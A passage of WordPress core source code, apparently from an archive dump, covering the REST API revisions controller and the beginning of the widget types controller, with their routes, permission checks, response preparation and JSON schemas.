'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Required to be true, as revisions do not support trashing.' ), ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Get the parent post, if the ID is valid. * * @since 4.7.2 * * @param int $parent_post_id Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_parent( $parent_post_id ) { $error = new WP_Error( 'rest_post_invalid_parent', __( 'Invalid post parent ID.' ), array( 'status' => 404 ) ); if ( (int) $parent_post_id <= 0 ) { return $error; } $parent_post = get_post( (int) $parent_post_id ); if ( empty( $parent_post ) || empty( $parent_post->ID ) || $this->parent_post_type !== $parent_post->post_type ) { return $error; } return $parent_post; } /** * Checks if a given request has access to get revisions. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } if ( ! current_user_can( 'edit_post', $parent->ID ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to view revisions of this post.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Get the revision, if the ID is valid. * * @since 4.7.2 * * @param int $id Supplied ID. * @return WP_Post|WP_Error Revision post object if ID is valid, WP_Error otherwise. */ protected function get_revision( $id ) { $error = new WP_Error( 'rest_post_invalid_id', __( 'Invalid revision ID.' ), array( 'status' => 404 ) ); if ( (int) $id <= 0 ) { return $error; } $revision = get_post( (int) $id ); if ( empty( $revision ) || empty( $revision->ID ) || 'revision' !== $revision->post_type ) { return $error; } return $revision; } /** * Gets a collection of revisions. * * @since 4.7.0 * * @see WP_REST_Posts_Controller::get_items() * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } // Ensure a search string is set in case the orderby is set to 'relevance'. if ( ! empty( $request['orderby'] ) && 'relevance' === $request['orderby'] && empty( $request['search'] ) ) { return new WP_Error( 'rest_no_search_term_defined', __( 'You need to define a search term to order by relevance.' ), array( 'status' => 400 ) ); } // Ensure an include parameter is set in case the orderby is set to 'include'. if ( ! empty( $request['orderby'] ) && 'include' === $request['orderby'] && empty( $request['include'] ) ) { return new WP_Error( 'rest_orderby_include_missing_include', __( 'You need to define an include parameter to order by include.' ), array( 'status' => 400 ) ); } $is_head_request = $request->is_method( 'HEAD' ); if ( wp_revisions_enabled( $parent ) ) { $registered = $this->get_collection_params(); $args = array( 'post_parent' => $parent->ID, 'post_type' => 'revision', 'post_status' => 'inherit', 'posts_per_page' => -1, 'orderby' => 'date ID', 'order' => 'DESC', 'suppress_filters' => true, ); $parameter_mappings = array( 'exclude' => 'post__not_in', 'include' => 'post__in', 'offset' => 'offset', 'order' => 'order', 'orderby' => 'orderby', 'page' => 'paged', 'per_page' => 'posts_per_page', 'search' => 's', ); foreach ( $parameter_mappings as $api_param => $wp_param ) { if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) { $args[ $wp_param ] = $request[ $api_param ]; } } // For backward-compatibility, 'date' needs to resolve to 'date ID'. if ( isset( $args['orderby'] ) && 'date' === $args['orderby'] ) { $args['orderby'] = 'date ID'; } if ( $is_head_request ) { // Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination. $args['fields'] = 'ids'; // Disable priming post meta for HEAD requests to improve performance. $args['update_post_term_cache'] = false; $args['update_post_meta_cache'] = false; } /** * Filters WP_Query arguments when querying revisions via the REST API. * * Serves the same purpose as the {@see 'rest_{$this->post_type}_query'} filter in * WP_REST_Posts_Controller, but for the standalone WP_REST_Revisions_Controller. * * @since 5.0.0 * * @param array $args Array of arguments for WP_Query. * @param WP_REST_Request $request The REST API request. */ $args = apply_filters( 'rest_revision_query', $args, $request ); if ( ! is_array( $args ) ) { $args = array(); } $query_args = $this->prepare_items_query( $args, $request ); $revisions_query = new WP_Query(); $revisions = $revisions_query->query( $query_args ); $offset = isset( $query_args['offset'] ) ? (int) $query_args['offset'] : 0; $page = isset( $query_args['paged'] ) ? (int) $query_args['paged'] : 0; $total_revisions = $revisions_query->found_posts; if ( $total_revisions < 1 ) { // Out-of-bounds, run the query without pagination/offset to get the total count. unset( $query_args['paged'], $query_args['offset'] ); $count_query = new WP_Query(); $query_args['fields'] = 'ids'; $query_args['posts_per_page'] = 1; $query_args['update_post_meta_cache'] = false; $query_args['update_post_term_cache'] = false; $count_query->query( $query_args ); $total_revisions = $count_query->found_posts; } if ( $revisions_query->query_vars['posts_per_page'] > 0 ) { $max_pages = (int) ceil( $total_revisions / (int) $revisions_query->query_vars['posts_per_page'] ); } else { $max_pages = $total_revisions > 0 ? 1 : 0; } if ( $total_revisions > 0 ) { if ( $offset >= $total_revisions ) { return new WP_Error( 'rest_revision_invalid_offset_number', __( 'The offset number requested is larger than or equal to the number of available revisions.' ), array( 'status' => 400 ) ); } elseif ( ! $offset && $page > $max_pages ) { return new WP_Error( 'rest_revision_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) ); } } } else { $revisions = array(); $total_revisions = 0; $max_pages = 0; $page = (int) $request['page']; } if ( ! $is_head_request ) { $response = array(); foreach ( $revisions as $revision ) { $data = $this->prepare_item_for_response( $revision, $request ); $response[] = $this->prepare_response_for_collection( $data ); } $response = rest_ensure_response( $response ); } else { $response = new WP_REST_Response( array() ); } $response->header( 'X-WP-Total', (int) $total_revisions ); $response->header( 'X-WP-TotalPages', (int) $max_pages ); $request_params = $request->get_query_params(); $base_path = rest_url( sprintf( '%s/%s/%d/%s', $this->namespace, $this->parent_base, $request['parent'], $this->rest_base ) ); $base = add_query_arg( urlencode_deep( $request_params ), $base_path ); if ( $page > 1 ) { $prev_page = $page - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $page ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Checks if a given request has access to get a specific revision. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { return $this->get_items_permissions_check( $request ); } /** * Retrieves one revision from the collection. * * @since 4.7.0 * @since 6.5.0 Added a condition to check that parent id matches revision parent id. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } $revision = $this->get_revision( $request['id'] ); if ( is_wp_error( $revision ) ) { return $revision; } if ( (int) $parent->ID !== (int) $revision->post_parent ) { return new WP_Error( 'rest_revision_parent_id_mismatch', /* translators: %d: A post id. */ sprintf( __( 'The revision does not belong to the specified parent with id of "%d"' ), $parent->ID ), array( 'status' => 404 ) ); } $response = $this->prepare_item_for_response( $revision, $request ); return rest_ensure_response( $response ); } /** * Checks if a given request has access to delete a revision. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } if ( ! current_user_can( 'delete_post', $parent->ID ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete revisions of this post.' ), array( 'status' => rest_authorization_required_code() ) ); } $revision = $this->get_revision( $request['id'] ); if ( is_wp_error( $revision ) ) { return $revision; } $response = $this->get_items_permissions_check( $request ); if ( ! $response || is_wp_error( $response ) ) { return $response; } if ( ! current_user_can( 'delete_post', $revision->ID ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this revision.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes a single revision. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $revision = $this->get_revision( $request['id'] ); if ( is_wp_error( $revision ) ) { return $revision; } $force = isset( $request['force'] ) ? (bool) $request['force'] : false; // We don't support trashing for revisions. if ( ! $force ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( "Revisions do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } $previous = $this->prepare_item_for_response( $revision, $request ); $result = wp_delete_post( $request['id'], true ); /** * Fires after a revision is deleted via the REST API. * * @since 4.7.0 * * @param WP_Post|false|null $result The revision object (if it was deleted or moved to the Trash successfully) * or false or null (failure). If the revision was moved to the Trash, $result represents * its new state; if it was deleted, $result represents its state before deletion. * @param WP_REST_Request $request The request sent to the API. */ do_action( 'rest_delete_revision', $result, $request ); if ( ! $result ) { return new WP_Error( 'rest_cannot_delete', __( 'The post cannot be deleted.' ), array( 'status' => 500 ) ); } $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); return $response; } /** * Determines the allowed query_vars for a get_items() response and prepares * them for WP_Query. * * @since 5.0.0 * * @param array $prepared_args Optional. Prepared WP_Query arguments. Default empty array. * @param WP_REST_Request $request Optional. Full details about the request. * @return array Items query arguments. */ protected function prepare_items_query( $prepared_args = array(), $request = null ) { $query_args = array(); if ( ! is_array( $prepared_args ) ) { $prepared_args = array(); } foreach ( $prepared_args as $key => $value ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ $query_args[ $key ] = apply_filters( "rest_query_var-{$key}", $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } // Map to proper WP_Query orderby param. if ( isset( $query_args['orderby'] ) && isset( $request['orderby'] ) ) { $orderby_mappings = array( 'id' => 'ID', 'include' => 'post__in', 'slug' => 'post_name', 'include_slugs' => 'post_name__in', ); if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) { $query_args['orderby'] = $orderby_mappings[ $request['orderby'] ]; } } return $query_args; } /** * Prepares the revision for the REST response. * * @since 4.7.0 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support. * @since 7.1.0 The global post is now restored to its previous value before returning. * * @global WP_Post|null $post Global post object. * * @param WP_Post $item Post revision object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { /* * Save the previous global post so it can be restored before returning. * Preparing the revision sets up the global post and post data, which * must not leak into the rest of the request (e.g. the autosaves endpoint * is preloaded in the block editor, where a leaked global post can cause * the editor to be initialized with the wrong post). * * Note that $post is intentionally not declared as a global here. It must * remain local to this method so that a filter which reassigns the global * post while the response is being prepared (for example on 'the_content') * cannot change which post the remaining fields are read from. */ $previous_post = isset( $GLOBALS['post'] ) && $GLOBALS['post'] instanceof WP_Post ? $GLOBALS['post'] : null; // Restores the more descriptive, specific name for use within this method. $post = $item; $GLOBALS['post'] = $post; setup_postdata( $post ); // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php */ $response = apply_filters( 'rest_prepare_revision', new WP_REST_Response( array() ), $post, $request ); $this->restore_post_data( $previous_post ); return $response; } $fields = $this->get_fields_for_response( $request ); $data = array(); if ( in_array( 'author', $fields, true ) ) { $data['author'] = (int) $post->post_author; } if ( in_array( 'date', $fields, true ) ) { $data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date ); } if ( in_array( 'date_gmt', $fields, true ) ) { $data['date_gmt'] = $this->prepare_date_response( $post->post_date_gmt ); } if ( in_array( 'id', $fields, true ) ) { $data['id'] = $post->ID; } if ( in_array( 'modified', $fields, true ) ) { $data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified ); } if ( in_array( 'modified_gmt', $fields, true ) ) { $data['modified_gmt'] = $this->prepare_date_response( $post->post_modified_gmt ); } if ( in_array( 'parent', $fields, true ) ) { $data['parent'] = (int) $post->post_parent; } if ( in_array( 'slug', $fields, true ) ) { $data['slug'] = $post->post_name; } if ( rest_is_field_included( 'guid', $fields ) ) { $data['guid'] = array(); } if ( rest_is_field_included( 'guid.rendered', $fields ) ) { /** This filter is documented in wp-includes/post-template.php */ $data['guid']['rendered'] = apply_filters( 'get_the_guid', $post->guid, $post->ID ); } if ( rest_is_field_included( 'guid.raw', $fields ) ) { $data['guid']['raw'] = $post->guid; } if ( rest_is_field_included( 'title', $fields ) ) { $data['title'] = array(); } if ( rest_is_field_included( 'title.raw', $fields ) ) { $data['title']['raw'] = $post->post_title; } if ( rest_is_field_included( 'title.rendered', $fields ) ) { $data['title']['rendered'] = get_the_title( $post->ID ); } if ( rest_is_field_included( 'content', $fields ) ) { $data['content'] = array(); } if ( rest_is_field_included( 'content.raw', $fields ) ) { $data['content']['raw'] = $post->post_content; } if ( rest_is_field_included( 'content.rendered', $fields ) ) { /** This filter is documented in wp-includes/post-template.php */ $data['content']['rendered'] = apply_filters( 'the_content', $post->post_content ); } if ( rest_is_field_included( 'excerpt', $fields ) ) { $data['excerpt'] = array(); } if ( rest_is_field_included( 'excerpt.raw', $fields ) ) { $data['excerpt']['raw'] = $post->post_excerpt; } if ( rest_is_field_included( 'excerpt.rendered', $fields ) ) { $data['excerpt']['rendered'] = $this->prepare_excerpt_response( $post->post_excerpt, $post ); } if ( rest_is_field_included( 'meta', $fields ) ) { $data['meta'] = $this->meta->get_value( $post->ID, $request ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( ! empty( $data['parent'] ) ) { $response->add_link( 'parent', rest_url( rest_get_route_for_post( $data['parent'] ) ) ); } /** * Filters a revision returned from the REST API. * * Allows modification of the revision right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $post The original revision object. * @param WP_REST_Request $request Request used to generate the response. */ $response = apply_filters( 'rest_prepare_revision', $response, $post, $request ); $this->restore_post_data( $previous_post ); return $response; } /** * Restores the global post to its previous value after preparing a revision. * * Preparing a revision overwrites the global post and post data via * setup_postdata(). This restores the global post that was in place * beforehand so the change does not leak into the rest of the request. * * Only the global post is guaranteed to be restored. When there was no * previous global post and the main query has no post either, which is the * usual state during a REST request, wp_reset_postdata() has nothing to * restore from, so the remaining globals set by setup_postdata() (such as * $id, $authordata and $pages) are left describing the revision. Clearing * those would mean unsetting each one by hand, which is beyond what is * needed to keep the global post from leaking. * * @since 7.1.0 * * @param WP_Post|null $previous_post The global post to restore, or null if there was none. */ private function restore_post_data( ?WP_Post $previous_post ): void { if ( $previous_post ) { $GLOBALS['post'] = $previous_post; setup_postdata( $previous_post ); return; } /* * There was no global post to restore, so clear the revision's post data. * This runs before clearing the global post because wp_reset_postdata() * repopulates it from the main query whenever that query has a post. Note * that it is a no-op when the main query has no post, in which case only * the global post below is cleared. */ wp_reset_postdata(); /* * Assigned rather than unset so that any `global $post` binding made before * this request keeps pointing at the global. Unsetting removes the entry from * the symbol table, which detaches those bindings, and a later write through * one of them would no longer be visible to get_post(). */ $GLOBALS['post'] = null; } /** * Checks the post_date_gmt or modified_gmt and prepare any post or * modified date for single post output. * * @since 4.7.0 * * @param string $date_gmt GMT publication time. * @param string|null $date Optional. Local publication time. Default null. * @return string|null ISO8601/RFC3339 formatted datetime, otherwise null. */ protected function prepare_date_response( $date_gmt, $date = null ) { if ( '0000-00-00 00:00:00' === $date_gmt ) { return null; } if ( isset( $date ) ) { return mysql_to_rfc3339( $date ); } return mysql_to_rfc3339( $date_gmt ); } /** * Retrieves the revision's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => "{$this->parent_post_type}-revision", 'type' => 'object', // Base properties for every Revision. 'properties' => array( 'author' => array( 'description' => __( 'The ID for the author of the revision.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), 'date' => array( 'description' => __( "The date the revision was published, in the site's timezone." ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit', 'embed' ), ), 'date_gmt' => array( 'description' => __( 'The date the revision was published, as GMT.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), ), 'guid' => array( 'description' => __( 'GUID for the revision, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), ), 'id' => array( 'description' => __( 'Unique identifier for the revision.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), 'modified' => array( 'description' => __( "The date the revision was last modified, in the site's timezone." ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), ), 'modified_gmt' => array( 'description' => __( 'The date the revision was last modified, as GMT.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), ), 'parent' => array( 'description' => __( 'The ID for the parent of the revision.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the revision unique to its type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), ), ); $parent_schema = $this->parent_controller->get_item_schema(); if ( ! empty( $parent_schema['properties']['title'] ) ) { $schema['properties']['title'] = $parent_schema['properties']['title']; } if ( ! empty( $parent_schema['properties']['content'] ) ) { $schema['properties']['content'] = $parent_schema['properties']['content']; } if ( ! empty( $parent_schema['properties']['excerpt'] ) ) { $schema['properties']['excerpt'] = $parent_schema['properties']['excerpt']; } if ( ! empty( $parent_schema['properties']['guid'] ) ) { $schema['properties']['guid'] = $parent_schema['properties']['guid']; } $schema['properties']['meta'] = $this->meta->get_field_schema(); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; unset( $query_params['per_page']['default'] ); $query_params['exclude'] = array( 'description' => __( 'Ensure result set excludes specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['include'] = array( 'description' => __( 'Limit result set to specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['offset'] = array( 'description' => __( 'Offset the result set by a specific number of items.' ), 'type' => 'integer', ); $query_params['order'] = array( 'description' => __( 'Order sort attribute ascending or descending.' ), 'type' => 'string', 'default' => 'desc', 'enum' => array( 'asc', 'desc' ), ); $query_params['orderby'] = array( 'description' => __( 'Sort collection by object attribute.' ), 'type' => 'string', 'default' => 'date', 'enum' => array( 'date', 'id', 'include', 'relevance', 'slug', 'include_slugs', 'title', ), ); return $query_params; } /** * Checks the post excerpt and prepare it for single post output. * * @since 4.7.0 * * @param string $excerpt The post excerpt. * @param WP_Post $post Post revision object. * @return string Prepared excerpt or empty string. */ protected function prepare_excerpt_response( $excerpt, $post ) { /** This filter is documented in wp-includes/post-template.php */ $excerpt = apply_filters( 'the_excerpt', $excerpt ); if ( empty( $excerpt ) ) { return ''; } return $excerpt; } } class-wp-rest-widget-types-controller.php000064400000045376152506367270014621 0ustar00namespace = 'wp/v2'; $this->rest_base = 'widget-types'; } /** * Registers the widget type routes. * * @since 5.8.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-zA-Z0-9_-]+)', array( 'args' => array( 'id' => array( 'description' => __( 'The widget type id.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-zA-Z0-9_-]+)/encode', array( 'args' => array( 'id' => array( 'description' => __( 'The widget type id.' ), 'type' => 'string', 'required' => true, ), 'instance' => array( 'description' => __( 'Current instance settings of the widget.' ), 'type' => 'object', ), 'form_data' => array( 'description' => __( 'Serialized widget form data to encode into instance settings.' ), 'type' => 'string', 'sanitize_callback' => static function ( $form_data ) { $array = array(); wp_parse_str( $form_data, $array ); return $array; }, ), ), array( 'methods' => WP_REST_Server::CREATABLE, 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'callback' => array( $this, 'encode_form_data' ), ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-zA-Z0-9_-]+)/render', array( array( 'methods' => WP_REST_Server::CREATABLE, 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'callback' => array( $this, 'render' ), 'args' => array( 'id' => array( 'description' => __( 'The widget type id.' ), 'type' => 'string', 'required' => true, ), 'instance' => array( 'description' => __( 'Current instance settings of the widget.' ), 'type' => 'object', ), ), ), ) ); } /** * Checks whether a given request has permission to read widget types. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { return $this->check_read_permission(); } /** * Retrieves the list of all widget types. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } $data = array(); foreach ( $this->get_widgets() as $widget ) { $widget_type = $this->prepare_item_for_response( $widget, $request ); $data[] = $this->prepare_response_for_collection( $widget_type ); } return rest_ensure_response( $data ); } /** * Checks if a given request has access to read a widget type. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $check = $this->check_read_permission(); if ( is_wp_error( $check ) ) { return $check; } $widget_id = $request['id']; $widget_type = $this->get_widget( $widget_id ); if ( is_wp_error( $widget_type ) ) { return $widget_type; } return true; } /** * Checks whether the user can read widget types. * * @since 5.8.0 * * @return true|WP_Error True if the widget type is visible, WP_Error otherwise. */ protected function check_read_permission() { if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_manage_widgets', __( 'Sorry, you are not allowed to manage widgets on this site.' ), array( 'status' => rest_authorization_required_code(), ) ); } return true; } /** * Gets the details about the requested widget. * * @since 5.8.0 * * @param string $id The widget type id. * @return array|WP_Error The array of widget data if the name is valid, WP_Error otherwise. */ public function get_widget( $id ) { foreach ( $this->get_widgets() as $widget ) { if ( $id === $widget['id'] ) { return $widget; } } return new WP_Error( 'rest_widget_type_invalid', __( 'Invalid widget type.' ), array( 'status' => 404 ) ); } /** * Normalize array of widgets. * * @since 5.8.0 * * @global WP_Widget_Factory $wp_widget_factory * @global array $wp_registered_widgets The list of registered widgets. * * @return array Array of widgets. */ protected function get_widgets() { global $wp_widget_factory, $wp_registered_widgets; $widgets = array(); foreach ( $wp_registered_widgets as $widget ) { $parsed_id = wp_parse_widget_id( $widget['id'] ); $widget_object = $wp_widget_factory->get_widget_object( $parsed_id['id_base'] ); $widget['id'] = $parsed_id['id_base']; $widget['is_multi'] = (bool) $widget_object; if ( isset( $widget['name'] ) ) { $widget['name'] = html_entity_decode( $widget['name'], ENT_QUOTES, get_bloginfo( 'charset' ) ); } if ( isset( $widget['description'] ) ) { $widget['description'] = html_entity_decode( $widget['description'], ENT_QUOTES, get_bloginfo( 'charset' ) ); } unset( $widget['callback'] ); $classname = ''; foreach ( (array) $widget['classname'] as $cn ) { if ( is_string( $cn ) ) { $classname .= '_' . $cn; } elseif ( is_object( $cn ) ) { $classname .= '_' . get_class( $cn ); } } $widget['classname'] = ltrim( $classname, '_' ); $widgets[ $widget['id'] ] = $widget; } ksort( $widgets ); return $widgets; } /** * Retrieves a single widget type from the collection. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $widget_id = $request['id']; $widget_type = $this->get_widget( $widget_id ); if ( is_wp_error( $widget_type ) ) { return $widget_type; } $data = $this->prepare_item_for_response( $widget_type, $request ); return rest_ensure_response( $data ); } /** * Prepares a widget type object for serialization. * * @since 5.8.0 * @since 5.9.0 Renamed `$widget_type` to `$item` to match parent class for PHP 8 named parameter support. * * @param array $item Widget type data. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Widget type data. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $widget_type = $item; // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php */ return apply_filters( 'rest_prepare_widget_type', new WP_REST_Response( array() ), $widget_type, $request ); } $fields = $this->get_fields_for_response( $request ); $data = array( 'id' => $widget_type['id'], ); $schema = $this->get_item_schema(); $extra_fields = array( 'name', 'description', 'is_multi', 'classname', 'widget_class', 'option_name', 'customize_selective_refresh', ); foreach ( $extra_fields as $extra_field ) { if ( ! rest_is_field_included( $extra_field, $fields ) ) { continue; } if ( isset( $widget_type[ $extra_field ] ) ) { $field = $widget_type[ $extra_field ]; } elseif ( array_key_exists( 'default', $schema['properties'][ $extra_field ] ) ) { $field = $schema['properties'][ $extra_field ]['default']; } else { $field = ''; } $data[ $extra_field ] = rest_sanitize_value_from_schema( $field, $schema['properties'][ $extra_field ] ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $widget_type ) ); } /** * Filters the REST API response for a widget type. * * @since 5.8.0 * * @param WP_REST_Response $response The response object. * @param array $widget_type The array of widget data. * @param WP_REST_Request $request The request object. */ return apply_filters( 'rest_prepare_widget_type', $response, $widget_type, $request ); } /** * Prepares links for the widget type. * * @since 5.8.0 * * @param array $widget_type Widget type data. * @return array Links for the given widget type. */ protected function prepare_links( $widget_type ) { return array( 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $widget_type['id'] ) ), ), ); } /** * Retrieves the widget type's schema, conforming to JSON Schema. * * @since 5.8.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'widget-type', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'Unique slug identifying the widget type.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'Human-readable name identifying the widget type.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'Description of the widget.' ), 'type' => 'string', 'default' => '', 'context' => array( 'view', 'edit', 'embed' ), ), 'is_multi' => array( 'description' => __( 'Whether the widget supports multiple instances' ), 'type' => 'boolean', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'classname' => array( 'description' => __( 'Class name' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * An RPC-style endpoint which can be used by clients to turn user input in * a widget admin form into an encoded instance object. * * Accepts: * * - id: A widget type ID. * - instance: A widget's encoded instance object. Optional. * - form_data: Form data from submitting a widget's admin form. Optional. * * Returns: * - instance: The encoded instance object after updating the widget with * the given form data. * - form: The widget's admin form after updating the widget with the * given form data. * * @since 5.8.0 * * @global WP_Widget_Factory $wp_widget_factory * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function encode_form_data( $request ) { global $wp_widget_factory; $id = $request['id']; $widget_object = $wp_widget_factory->get_widget_object( $id ); if ( ! $widget_object ) { return new WP_Error( 'rest_invalid_widget', __( 'Cannot preview a widget that does not extend WP_Widget.' ), array( 'status' => 400 ) ); } /* * Set the widget's number so that the id attributes in the HTML that we * return are predictable. */ if ( isset( $request['number'] ) && is_numeric( $request['number'] ) ) { $widget_object->_set( (int) $request['number'] ); } else { $widget_object->_set( -1 ); } if ( isset( $request['instance']['encoded'], $request['instance']['hash'] ) ) { $serialized_instance = base64_decode( $request['instance']['encoded'] ); if ( ! hash_equals( wp_hash( $serialized_instance ), $request['instance']['hash'] ) ) { return new WP_Error( 'rest_invalid_widget', __( 'The provided instance is malformed.' ), array( 'status' => 400 ) ); } $instance = unserialize( $serialized_instance ); } else { $instance = array(); } if ( isset( $request['form_data'][ "widget-$id" ] ) && is_array( $request['form_data'][ 